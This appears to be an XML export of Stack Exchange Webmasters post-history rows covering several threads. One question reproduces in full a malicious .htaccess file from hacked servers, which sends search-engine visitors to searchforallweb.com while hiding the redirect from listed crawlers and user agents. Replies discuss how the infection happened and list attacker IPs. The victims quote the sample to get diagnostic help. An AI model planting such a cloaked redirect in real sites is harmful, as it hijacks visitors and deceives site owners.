  <row Id="40814" PostHistoryTypeId="17" PostId="17021" RevisionGUID="f1796d62-f1b3-4345-8624-60a4cf5dc503" CreationDate="2011-07-18T04:06:01.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4442212/site-compromised-htaccess-files-everywhere" Text="" />
  <row Id="40815" PostHistoryTypeId="17" PostId="17022" RevisionGUID="274cac1c-268c-4b3f-945c-464835353f0e" CreationDate="2011-07-18T04:06:01.453" UserId="-1" Comment="from http://stackoverflow.com/questions/4442212/site-compromised-htaccess-files-everywhere" Text="" />
  <row Id="40816" PostHistoryTypeId="2" PostId="17020" RevisionGUID="8e2ea7c4-ce3c-4fbc-9fa3-262d1f37e6d5" CreationDate="2010-12-14T19:03:11.983" UserId="1725" Text="You need to check the date the files were uploaded and then review your FTP and HTTP logs. You probably allowed for file uploading via some script by not sanitizing your inputs for directory transversal, or you have a program running either on request or timed that drops these files in.&#xD;&#xA;&#xD;&#xA;If it's a shared host, your host could be compromised, and they probably haven't set up their shares correctly to not allow for things like this. One of the other 'customers' is exploiting the server." />
  <row Id="40817" PostHistoryTypeId="2" PostId="17021" RevisionGUID="5f7772f2-815e-4973-84f7-96e4ed2e6dba" CreationDate="2011-01-13T16:36:14.057" UserDisplayName="Maarten" Text="I had to solve the same problem for a bunch of clients in the last 2 months.&#xD;&#xA;Altough there was not much in the logs, I noticed several things:&#xD;&#xA;&#xD;&#xA;* All machines were Windows servers&#xD;&#xA;* All machines had phpmyadmin installed&#xD;&#xA;* All phpmyadmin installs still had the setup scripts accessible&#xD;&#xA;* All machines had log entries trying to do something with this setup script less than an hour earlier than the .htaccess timestamp&#xD;&#xA;* All machines were running the server app (both IIS and Apache) as SYSTEM user.&#xD;&#xA;&#xD;&#xA;So, in addition to cleaning up the mess and restoring the original .htaccess files, I did the following:&#xD;&#xA;&#xD;&#xA;* remove any unnecessary setup scripts&#xD;&#xA;* run Apache as a seperate user&#xD;&#xA;Unfortunately I am better with Linux than with Windows, so I don't know if and how IIS can run as a restricted user...&#xD;&#xA;&#xD;&#xA;Next to that I advise people to run webservers on Linux with apache-mpm-itk or another trick to run apache as the user to whom the site belongs; every site it's own user and not a single permission for group or other users.&#xD;&#xA;Unless you really need Windows for your site ofcourse..." />
  <row Id="40818" PostHistoryTypeId="2" PostId="17022" RevisionGUID="4790df3a-8500-4c32-9a9b-219195be1426" CreationDate="2011-07-04T19:02:29.207" UserDisplayName="mivk" Text="I had the same hack on an FTP server with about a dozen FTP accounts.&#xD;&#xA;&#xD;&#xA;The hack was definitely done through FTP, on only one of the accounts. That FTP account is not for a web site, so the .htaccess files were useless there.&#xD;&#xA;&#xD;&#xA;A search for the IPS through all the old log files in the backups didn't turn up any other file than the ftp server logs. In case someone finds this useful, these are the dates and IPs of the .htaccess uploads:&#xD;&#xA;&#xD;&#xA;    2010-11-06 : 212.117.165.214&#xD;&#xA;    2010-11-26 : 188.72.213.38&#xD;&#xA;    2010-12-10 : 188.72.213.38&#xD;&#xA;    2010-12-21 : 188.72.201.27&#xD;&#xA;    2011-01-01 : 173.236.69.60&#xD;&#xA;    2011-01-11 : 173.236.69.45&#xD;&#xA;    2011-01-27 : 94.100.17.177&#xD;&#xA;    2011-02-05 : 94.100.17.177&#xD;&#xA;    2011-02-19 : 94.100.17.157&#xD;&#xA;    2011-02-20 : 94.100.17.157&#xD;&#xA;    2011-02-21 : 94.100.17.157&#xD;&#xA;    2011-03-01 : 69.172.130.209&#xD;&#xA;    2011-03-05 : 174.36.82.151-static.reverse.softlayer.com&#xD;&#xA;    2011-03-10 : baltimore.newsintegrated.com&#xD;&#xA;" />
  <row Id="40819" PostHistoryTypeId="5" PostId="17017" RevisionGUID="a0feb9c5-4c2e-4ce3-b8bb-7a91c9dcd355" CreationDate="2011-07-18T04:08:55.397" UserId="3" Comment="deleted 50 characters in body" Text="Some of the sites we're hosting are compromised by... I don't know what.&#xD;&#xA;Every directory on the webserver contains a .htaccess file which redirects a user coming from a search engine to a page which doesn't even exist - see the .htaccess file below.&#xD;&#xA;&#xD;&#xA;The problem first appeared on 10 December 2010 and has been spreading ever since. It affected 8 servers at 3 different hosting providers.&#xD;&#xA;&#xD;&#xA;I've found some links in Google to [similar][1] [problems][2] but no explanation as to what is going on. The solution is very simple: just delete the file, but that's not what I'm after. The redirect url seems to be different for every infected domain, here's a list:&#xD;&#xA;&#xD;&#xA;- indanetwall.net&#xD;&#xA;- checkforsec.com&#xD;&#xA;- trackallnet.com&#xD;&#xA;- bonusforall.net&#xD;&#xA;- searchforallweb.com&#xD;&#xA;- sslabssys.com&#xD;&#xA;&#xD;&#xA;Googling on those lead to more people reporting the [same][3] [problem][4] using all kinds of different systems.&#xD;&#xA;&#xD;&#xA;Apparently it had nothing to do with a specific server or a specific server configuration. All the latest updates were installed for the OS and installed CMS systems. It also affected servers without any CMS installed so we couldn't put the blame there.&#xD;&#xA;&#xD;&#xA;We don't know how the files got there but it wasn't through ftp. In the end we changed all passwords for the ftp accounts, hosting provider account, databases, anything. &#xD;&#xA;&#xD;&#xA;We did a thorough scan of all the servers and the local network but didn't find anything there. So the final conclusion is that somebody somehow got hold of a bunch of passwords to access our systems. &#xD;&#xA;&#xD;&#xA;Luckily they didn't do any 'real' damage and in the end it was no more than a big annoyance... But it could've been much worse.&#xD;&#xA;&#xD;&#xA;The htaccess file looks like this:&#xD;&#xA;&#xD;&#xA;    # exgocgkctswo&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_METHOD}   ^GET$&#xD;&#xA;    RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]&#xD;&#xA;    RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$&#xD;&#xA;    RewriteCond %{HTTPS}            ^off$&#xD;&#xA;    RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&amp;i=138ee363&amp;j=315&amp;m=c1ca5d58dda23245366719cd597ac0d5&amp;h=%{HTTP_HOST}&amp;u=%{REQUEST_URI}&amp;q=%{QUERY_STRING}&amp;t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]&#xD;&#xA;    # exgocgkctswo&#xD;&#xA;&#xD;&#xA;Has anyone experienced similar problems? Does someone know what this is and how we can stop it?&#xD;&#xA;&#xD;&#xA;[1]: http://www.neowin.net/forum/topic/921534-strange-htaccess-file&#xD;&#xA;[2]: http://e107.org/e107_plugins/forum/forum_viewtopic.php?202680&#xD;&#xA;[3]: http://www.neowin.net/forum/topic/921534-strange-htaccess-file/page__st__15&#xD;&#xA;[4]: http://forum.ovh.com/showthread.php?t=63484&#xD;&#xA;" />
  <row Id="40820" PostHistoryTypeId="2" PostId="17023" RevisionGUID="80dc3a43-21ab-4443-9bdf-0715b559a79e" CreationDate="2011-07-18T04:15:19.623" UserId="8935" Text="I found use full Google Extention &quot; SEO SERP &quot; (by omiod) and i installed in the Google Chrome . It is very useful for Web master to track web page position in Goolge serach Engine .  But In the Extention there is no option to delete the Previous seraches made.&#xD;&#xA;&#xD;&#xA;There is no option to delete history .  any body know how to do it please let me know ...&#xD;&#xA;" />
  <row Id="40821" PostHistoryTypeId="1" PostId="17023" RevisionGUID="80dc3a43-21ab-4443-9bdf-0715b559a79e" CreationDate="2011-07-18T04:15:19.623" UserId="8935" Text="how to clear history in SEO SERP ( by omiod ) Google Extension" />
  <row Id="40822" PostHistoryTypeId="3" PostId="17023" RevisionGUID="80dc3a43-21ab-4443-9bdf-0715b559a79e" CreationDate="2011-07-18T04:15:19.623" UserId="8935" Text="&lt;seo&gt;&lt;google&gt;&lt;serps&gt;&lt;chrome&gt;&lt;google-chrome&gt;" />
  <row Id="40824" PostHistoryTypeId="17" PostId="17025" RevisionGUID="cef9ef1a-4ec8-4a85-8bf8-0f8ab693885a" CreationDate="2011-07-18T05:27:20.120" UserId="-1" Comment="from http://stackoverflow.com/questions/4394231/is-there-anyway-for-me-to-legally-and-ethically-hit-the-whois-on-thousands-of-dom" Text="" />
  <row Id="40825" PostHistoryTypeId="2" PostId="17026" RevisionGUID="41de1e87-305f-4c5e-9a6c-b58db30f5726" CreationDate="2010-12-09T02:14:32.133" UserDisplayName="LAS_VEGAS" Text="[www.domaintools.com][1] has a paid service for mass whois checks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.domaintools.com" />
  <row Id="40826" PostHistoryTypeId="2" PostId="17025" RevisionGUID="00551e96-8b62-4ccc-8405-cdeff128625d" CreationDate="2010-12-09T02:09:21.323" UserDisplayName="Shamoon" Text="I have a project that is building comprehensive data on thousands of companies and domain information is an important part of it, but often the whois services will say that you can't use them for high-traffic queries. So how CAN you do high-traffic?" />
  <row Id="40827" PostHistoryTypeId="1" PostId="17025" RevisionGUID="00551e96-8b62-4ccc-8405-cdeff128625d" CreationDate="2010-12-09T02:09:21.323" UserDisplayName="Shamoon" Text="Is there anyway for me to legally and ethically hit the whois on thousands of domains?" />
  <row Id="40828" PostHistoryTypeId="3" PostId="17025" RevisionGUID="00551e96-8b62-4ccc-8405-cdeff128625d" CreationDate="2010-12-09T02:09:21.323" UserDisplayName="Shamoon" Text="&lt;whois&gt;" />
  <row Id="40829" PostHistoryTypeId="17" PostId="17026" RevisionGUID="a34c007d-68c7-4284-ae64-b58c7670597c" CreationDate="2011-07-18T05:27:20.120" UserId="-1" Comment="from http://stackoverflow.com/questions/4394231/is-there-anyway-for-me-to-legally-and-ethically-hit-the-whois-on-thousands-of-dom" Text="" />
  <row Id="40830" PostHistoryTypeId="17" PostId="17027" RevisionGUID="88ca4b7a-f11e-4b81-af31-7b1582dfb072" CreationDate="2011-07-18T05:27:20.120" UserId="-1" Comment="from http://stackoverflow.com/questions/4394231/is-there-anyway-for-me-to-legally-and-ethically-hit-the-whois-on-thousands-of-dom" Text="" />
  <row Id="40831" PostHistoryTypeId="2" PostId="17027" RevisionGUID="d31aaf3d-4e5a-49af-855c-2af2cf78e992" CreationDate="2011-07-18T05:20:11.010" UserId="5437" Text="www.whoisxmlapi.com provides you with parsed whois data for any domain name.  It also offers whois database download." />
  <row Id="40832" PostHistoryTypeId="25" PostId="16981" RevisionGUID="5d2325fa-19f4-4b1f-80cf-d75ec3be78e4" CreationDate="2011-07-18T06:31:45.533" Comment="http://twitter.com/#!/StackWebmasters/status/92843984736620544" />
  <row Id="40833" PostHistoryTypeId="5" PostId="17003" RevisionGUID="9a595e1e-5a90-40b2-88c3-9cac9734e876" CreationDate="2011-07-18T06:37:59.970" UserId="3312" Comment="added 18 characters in body" Text="Yes, it's they could have added the ID after the question title if they had wished.  &#xD;&#xA;&#xD;&#xA;Regarding the position of the ID and SEO, in my opinion I don't think it would make any difference (ok maybe if it was in the domain name).&#xD;&#xA;&#xD;&#xA;From a human readability point of view, it seems clearer (to me at least) to have the human readable title at the end, rather than burried in the URL. &#xD;&#xA;&#xD;&#xA;&gt; I also read in an article that only the first two subdirectories are&#xD;&#xA;&gt; relevant therefore only /question/16999 is relevant. Looking at SO&#xD;&#xA;&gt; this is definitely not true, but I can't decide on the weigh of this&#xD;&#xA;&#xD;&#xA;Where did you read this?  I don't think it is correct, and nowadays these re-written URLs don't usually relate to subdirectories in any way." />
  <row Id="40834" PostHistoryTypeId="2" PostId="17028" RevisionGUID="dbe202db-3778-448c-bfa7-422d16a3799c" CreationDate="2011-07-18T06:44:50.640" UserId="3312" Text="I am some irrelevant keywords high up in my Google Webmasters Tools Keywords list.  Unfortunately it's stuff that needs to be on the site.  E.g. I'm getting words like *log* (from log-in), *copyright*, *privacy*.&#xD;&#xA;&#xD;&#xA;What, if anything can be done to downplay these keywords?" />
  <row Id="40835" PostHistoryTypeId="1" PostId="17028" RevisionGUID="dbe202db-3778-448c-bfa7-422d16a3799c" CreationDate="2011-07-18T06:44:50.640" UserId="3312" Text="SEO - Reducing significance of irrelevant kewords." />
  <row Id="40836" PostHistoryTypeId="3" PostId="17028" RevisionGUID="dbe202db-3778-448c-bfa7-422d16a3799c" CreationDate="2011-07-18T06:44:50.640" UserId="3312" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="40837" PostHistoryTypeId="5" PostId="17028" RevisionGUID="dd95cdaf-fd0e-491e-806d-a6696341b340" CreationDate="2011-07-18T07:11:17.940" UserId="3312" Comment="added 161 characters in body" Text="I am some irrelevant keywords high up in my Google Webmasters Tools Keywords list.  Unfortunately it's stuff that needs to be on the site.  E.g. I'm getting words like *log* (from log-in), *copyright*, *privacy*.&#xD;&#xA;&#xD;&#xA;I heard in the past that you could apply `class=&quot;robots-nocontent&quot;`, but I don't think google uses this (and poss yahoo doesn't either with the bing change).&#xD;&#xA;&#xD;&#xA;What, if anything can be done to downplay these keywords?" />
  <row Id="40838" PostHistoryTypeId="5" PostId="17023" RevisionGUID="b85e999e-9e70-4de6-9e11-7102b7e36e86" CreationDate="2011-07-18T08:16:56.163" UserId="1643" Comment="fix typos" Text="I found the Google extension &quot;SEO SERP&quot; (by omiod) useful and I installed it in Google Chrome. It is very useful for Web master to track web page position in Google search engine.  But in the extension there is no option to delete the previous searches made.&#xD;&#xA;&#xD;&#xA;There is no option to delete history. If anybody knows how to do it please let me know.&#xD;&#xA;" />
  <row Id="40839" PostHistoryTypeId="4" PostId="17023" RevisionGUID="b85e999e-9e70-4de6-9e11-7102b7e36e86" CreationDate="2011-07-18T08:16:56.163" UserId="1643" Comment="fix typos" Text="How to clear history in SEO SERP (by omiod) Google Extension" />
  <row Id="40844" PostHistoryTypeId="2" PostId="17029" RevisionGUID="d88a8d18-eaa5-4a45-8ec1-238da6036e9c" CreationDate="2011-07-18T09:05:04.193" UserId="4502" Text="This is a bit speculative as you don't mention what CMS/cart/whatever you're using, if any, but it sounds like you feel you're forced to always display links for all pages. There are other design patterns for pagination links of the type you're describing that you could explore, eg.&#xD;&#xA;&#xD;&#xA;`1 | 2 | 3 | 4 |5 ... 11 | 12 | 13 | 14 | 15`&#xD;&#xA;&#xD;&#xA;... where once you reach page 5 or so, the first several fall off the list and 6-10 get displayed. There are a lot of variants on this. As John said, the pages just need to exist and be accessible during crawling, even with simple next/prev links. They don't necessarily need to all be accessible from all other pages." />
  <row Id="40845" PostHistoryTypeId="2" PostId="17030" RevisionGUID="628d82c2-414a-4b4f-bfe1-eddab616e5ad" CreationDate="2011-07-18T09:25:53.310" UserId="9023" Text="I also agree. Dedicated IP addresses have no effect on SEO. But there's an effect on backlinking. Backlinks on same IP has no effect. Google may ignore them while ranking." />
  <row Id="40846" PostHistoryTypeId="25" PostId="17028" RevisionGUID="0fbebe47-871a-4149-8ba6-3d2fa37a1e2b" CreationDate="2011-07-18T09:31:45.953" Comment="http://twitter.com/#!/StackWebmasters/status/92889284117405696" />
  <row Id="40847" PostHistoryTypeId="2" PostId="17031" RevisionGUID="463c68ee-076b-451a-a1b6-e2aa8a39e8b5" CreationDate="2011-07-18T09:41:30.430" UserId="9024" Text="I want to know the details of websites developed using the different languages like .Net, Java, PHP, Python. Which programming is mostly used?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Krishna&#xD;&#xA;" />
  <row Id="40848" PostHistoryTypeId="1" PostId="17031" RevisionGUID="463c68ee-076b-451a-a1b6-e2aa8a39e8b5" CreationDate="2011-07-18T09:41:30.430" UserId="9024" Text="Websites running on .Net or Java" />
  <row Id="40849" PostHistoryTypeId="3" PostId="17031" RevisionGUID="463c68ee-076b-451a-a1b6-e2aa8a39e8b5" CreationDate="2011-07-18T09:41:30.430" UserId="9024" Text="&lt;web-development&gt;" />
  <row Id="40850" PostHistoryTypeId="2" PostId="17032" RevisionGUID="19f4341f-bdbb-46a9-ba51-aad0c2f6fd1e" CreationDate="2011-07-18T09:52:54.060" UserId="7198" Text="TIOBE publish a [monthly league table](http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html) of the most popular programming languages. The four you mention are currently ranked in the following order:&#xD;&#xA;&#xD;&#xA;1. Java&#xD;&#xA;2. C#&#xD;&#xA;3. PHP&#xD;&#xA;4. Python&#xD;&#xA;&#xD;&#xA;Note that the TIOBE tables are based on an algorithm that tries to determine the number of lines of code written in each language every month using results from the major search engines, so they're not necessarily an indication of the number of *websites* using those programming languages, but it probably gives a fair indication." />
  <row Id="40851" PostHistoryTypeId="5" PostId="17031" RevisionGUID="65993540-078e-4a21-a328-c5b79c46a75d" CreationDate="2011-07-18T09:54:08.537" UserId="7198" Comment="deleted 18 characters in body; edited title" Text="I want to know the details of websites developed using the different languages like .Net, Java, PHP, Python. Which programming language is mostly used?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40852" PostHistoryTypeId="4" PostId="17031" RevisionGUID="65993540-078e-4a21-a328-c5b79c46a75d" CreationDate="2011-07-18T09:54:08.537" UserId="7198" Comment="deleted 18 characters in body; edited title" Text="What's the most popular programming language for creating websites?" />
  <row Id="40853" PostHistoryTypeId="5" PostId="17032" RevisionGUID="3d5e1d6a-cdec-4b25-9fe4-7411af3b2dcf" CreationDate="2011-07-18T09:59:17.877" UserId="7198" Comment="added 289 characters in body" Text="TIOBE publish a [monthly league table](http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html) of the most popular programming languages. The four you mention are currently ranked in the following order:&#xD;&#xA;&#xD;&#xA;1. Java&#xD;&#xA;2. C#&#xD;&#xA;3. PHP&#xD;&#xA;4. Python&#xD;&#xA;&#xD;&#xA;Note that the TIOBE tables are based on an algorithm that tries to determine the number of lines of code written in each language every month using results from the major search engines, so they're not necessarily an indication of the number of *websites* using those programming languages, but it probably gives a fair indication.&#xD;&#xA;&#xD;&#xA;What it doesn't take into account is the number of websites deployed using off-the-shelf blogging packages and CMS such as WordPress etc. If it were possible to count the number of active websites using each programming language, I suspect PHP would come slightly higher than the popularity table suggests." />
  <row Id="40854" PostHistoryTypeId="5" PostId="16786" RevisionGUID="4040af79-bbcc-49ea-852a-19291ded8c2b" CreationDate="2011-07-18T10:11:24.003" UserId="7198" Comment="added third-party service recommendations" Text="I'd suggest that you:&#xD;&#xA;&#xD;&#xA;1. **Automatically mirror the entire contents and configuration of your main server** to a secondary backup server on a completely separate network in a different data centre. Use RSync, FXP, cPanel voodoo, or whatever method you wish to automate syncing.&#xD;&#xA;&#xD;&#xA;2. **Use DNS failover switching** to automatically route traffic to the backup server should the Hostgator server prove unresponsive.&#xD;&#xA;&#xD;&#xA;This means that you constantly have a 'hot' backup waiting to go should the worst happen, rather than a 'cold' backup that requires manual intervention and much scrambling around and panicking. It also means that your clients will never know that their site went down before you did, which can be distressing for everyone.&#xD;&#xA;&#xD;&#xA;You can set up failover DNS using a provider such as [DNS Made Easy](http://www.dnsmadeeasy.com/enterprisedns/dnsfailover.html). For each domain you're hosting, you would set up up to five backup IP addresses, one for each of your backup servers. Once that's done...&#xD;&#xA;&#xD;&#xA;1. DNS Made Easy checks your primary server ever two-to-four minutes and, if it doesn't detect a response, it routes traffic to the secondary IP address.&#xD;&#xA;&#xD;&#xA;2. DNS Made Easy continues to check the primary server. When it comes up, it will reroute traffic to the first server, or—if you prefer—keep it at the backup while you diagnose what went wrong and fix the primary server.&#xD;&#xA;&#xD;&#xA;Of course, this solution will raise your operating costs, which you'll have to pass on to clients somehow, but—if you're in an industry where downtime would put you out of business—paying for a largely redundant server is probably worth it for that one time it saves the company.&#xD;&#xA;&#xD;&#xA;Beyond that:&#xD;&#xA;&#xD;&#xA;###Duplicate, duplicate, duplicate&#xD;&#xA;The more independent backups you have, the better. I store remote backups on a local hard drive, which is mirrored to an external hard drive, to Dropbox, a git repository, and a remote FTP account. Take no chances. Duplicate as much as you can. If you have to restore from a manual backup, it's better to have a choice of five than a choice of one. Paranoia is underrated.&#xD;&#xA;&#xD;&#xA;###Practise restoring the backups manually&#xD;&#xA;If you've never tried to recover from one of your backups, how do you know that they work? It's worth doing emergency drills to see what would happen should your automated procedures fail.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;**UPDATE:** A few other services I've discovered recently that are worth mentioning in relation to site backup, disaster recovery, and maintaining uptime:&#xD;&#xA;&#xD;&#xA; - [Cloudflare,](https://www.cloudflare.com/overview.html) who provides security and caching features to keep sites up when your server goes down. (They mirror your site and serve it from their globally distributed cache instead of from your server directly.)&#xD;&#xA; - [Codeguard,](https://www.codeguard.com/) who provides automated backups and rollback of website code (FTP only).&#xD;&#xA; - [Site Auto Backup,](http://www.siteautobackup.com/) who provides automated backups and rollback of website code, email data, and MySQL info via cPanel backups. Note that this is run by Hostgator, so it's not necessarily suitable if you host your site with them as well, but might help others.&#xD;&#xA;&#xD;&#xA;Cloudflare in particular looks like it would be useful to avoid downtime and to generally improve site responsiveness." />
  <row Id="40855" PostHistoryTypeId="2" PostId="17033" RevisionGUID="eacfd6a7-e408-4fc0-9ff6-0277fc350b79" CreationDate="2011-07-18T10:15:25.140" UserId="8557" Text="I am a blogger. I write science articles. I study science and write articles in my blog in simple words for the general public to understand. Does this require a disclaimer as I do not want to see something like the following in my inbox &#xD;&#xA;&#xD;&#xA;&gt; I read your blog and damaged something. Pay me compensation." />
  <row Id="40856" PostHistoryTypeId="1" PostId="17033" RevisionGUID="eacfd6a7-e408-4fc0-9ff6-0277fc350b79" CreationDate="2011-07-18T10:15:25.140" UserId="8557" Text="The Necessity of a Disclaimer" />
  <row Id="40857" PostHistoryTypeId="3" PostId="17033" RevisionGUID="eacfd6a7-e408-4fc0-9ff6-0277fc350b79" CreationDate="2011-07-18T10:15:25.140" UserId="8557" Text="&lt;blog&gt;&lt;articles&gt;" />
  <row Id="40858" PostHistoryTypeId="2" PostId="17034" RevisionGUID="b5d2b23a-91a2-401c-8b20-45c90a39db00" CreationDate="2011-07-18T10:59:51.070" UserId="8931" Text="  After I redirect from my shopping cart to Paypal using `SetExpressCheckout` I can't see my product details on the left. I have the following code:&#xD;&#xA;&#xD;&#xA;    METHOD=SetExpressCheckout&amp; &#xD;&#xA;    VERSION=54.0&amp;  &#xD;&#xA;    PWD=xxxxxxx&amp;  &#xD;&#xA;    USER=xxxxxxx&amp;  &#xD;&#xA;    SIGNATURE=xxxxxx&amp;  &#xD;&#xA;    RETURNURL=xxxxxx&amp;  &#xD;&#xA;    CANCELURL=xxxxxxx&amp;  &#xD;&#xA;    PAYMENTACTION=Sale&amp;  &#xD;&#xA;    AMT=20&amp; &#xD;&#xA;    SOLUTIONTYPE=Sole&amp;  &#xD;&#xA;    LANDINGPAGE=Billing&amp;  &#xD;&#xA;    L_PAYMENTREQUEST_0_NAME0=Product+1a&amp;  &#xD;&#xA;    L_PAYMENTREQUEST_0_NUMBER0=1&amp;  &#xD;&#xA;    L_PAYMENTREQUEST_0_AMT0=20.00&amp;  &#xD;&#xA;    L_PAYMENTREQUEST_0_QTY0=2&amp;  &#xD;&#xA;    L_PAYMENTREQUEST_0_DESC0=descriere&amp;  &#xD;&#xA;    ALLOWNOTE=1" />
  <row Id="40859" PostHistoryTypeId="1" PostId="17034" RevisionGUID="b5d2b23a-91a2-401c-8b20-45c90a39db00" CreationDate="2011-07-18T10:59:51.070" UserId="8931" Text="Products details problem with PayPal Express Checkout." />
  <row Id="40860" PostHistoryTypeId="3" PostId="17034" RevisionGUID="b5d2b23a-91a2-401c-8b20-45c90a39db00" CreationDate="2011-07-18T10:59:51.070" UserId="8931" Text="&lt;paypal&gt;&lt;checkout&gt;" />
  <row Id="40861" PostHistoryTypeId="2" PostId="17035" RevisionGUID="b934e9c1-fbb3-4685-8544-6c8e476ece24" CreationDate="2011-07-18T11:41:11.767" UserId="1253" Text="Why would you downplay those keywords? Don't you want that traffic? You do know that you can rank well for an unlimited number of keywords and that ranking well for one keyword doesn't mean you can't rank well for another, right?" />
  <row Id="40862" PostHistoryTypeId="5" PostId="17033" RevisionGUID="e08bbe58-b2e9-4fd5-8f7a-4ee6040de851" CreationDate="2011-07-18T11:50:27.637" UserId="1253" Comment="modified tags" Text="I am a blogger. I write science articles. I study science and write articles in my blog in simple words for the general public to understand. Does this require a disclaimer as I do not want to see something like the following in my inbox &#xD;&#xA;&#xD;&#xA;&gt; I read your blog and damaged something. Pay me compensation. " />
  <row Id="40863" PostHistoryTypeId="6" PostId="17033" RevisionGUID="e08bbe58-b2e9-4fd5-8f7a-4ee6040de851" CreationDate="2011-07-18T11:50:27.637" UserId="1253" Comment="modified tags" Text="&lt;blog&gt;&lt;legal&gt;&lt;articles&gt;" />
  <row Id="40864" PostHistoryTypeId="2" PostId="17036" RevisionGUID="c46b5bd1-5799-4e35-aa7d-cdb1e2f8367a" CreationDate="2011-07-18T12:27:36.477" UserId="8847" Text="If you look at the image you can clearly see &#xD;&#xA;&#xD;&#xA;`Server/Sites/Default Web Site/A Web Application`&#xD;&#xA;&#xD;&#xA;In order to bring to the UI the binding option, **Default Web Site** should be selected and not *A Web Application*.&#xD;&#xA;&#xD;&#xA;You have to change the binding of the whole website, which seems correct. (It has no *short term* sense that you have two ports for the same webApp)" />
  <row Id="40865" PostHistoryTypeId="25" PostId="17031" RevisionGUID="eba29403-64ac-4ce1-9809-4818a7d27b54" CreationDate="2011-07-18T12:31:45.633" Comment="http://twitter.com/#!/StackWebmasters/status/92934581325537280" />
